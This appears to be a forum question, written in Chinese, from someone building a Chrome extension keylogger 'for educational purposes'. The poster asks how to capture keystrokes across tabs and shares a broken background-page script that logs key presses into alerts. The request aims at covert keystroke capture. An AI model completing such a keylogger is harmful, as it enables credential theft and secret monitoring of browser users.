我正在尝试开发一个用于教育目的的 Chrome 键盘记录器。我面临的问题是我不确定如何从不同的选项卡中捕获密钥。我已经为带有图标的键盘记录器创建了一个扩展。按下图标时;背景页面应该运行并在按键字符串被按下时发出警报。
后台页面的代码是:
<script>
chrome.browserAction.onClicked.addListener(currWin);
document.onmousedown = currWin;
function getCurrWin()
{
chrome.tabs.getCurrent(currWin);
}
function currWin(tab)
{
chrome.tabs.getSelected(null,function(tab){
alert(tab.title + " : " + tab.id);
document.onkeypress = keylogger;
})
}
function keylogger(e)
{ if(e.keyCode==27)
{
alert('A');
}
else{
logged_keys+=String.fromCharCode(e.charCode);
alert(logged_keys);
}}
</script>